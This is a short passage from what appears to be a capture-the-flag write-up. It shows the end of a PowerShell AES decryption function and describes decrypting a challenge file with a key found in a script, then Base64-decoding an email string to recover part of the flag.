    $decryptor = $aesManaged.CreateDecryptor()
    $decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 16, $encryptedBytes.Length - 16)
    [System.Text.Encoding]::UTF8.GetString($decryptedBytes)
}

Now, we can use this function to decrypt the data by calling these function inside PowerShell and then use echo to see the results.

$AES_KEY -> key found inside the script
$Text -> data contained in the rj1893rj1joijdkajwda file

The email looks like Base64. Decoding this string with echo and base64 -d we get the other part of the flag.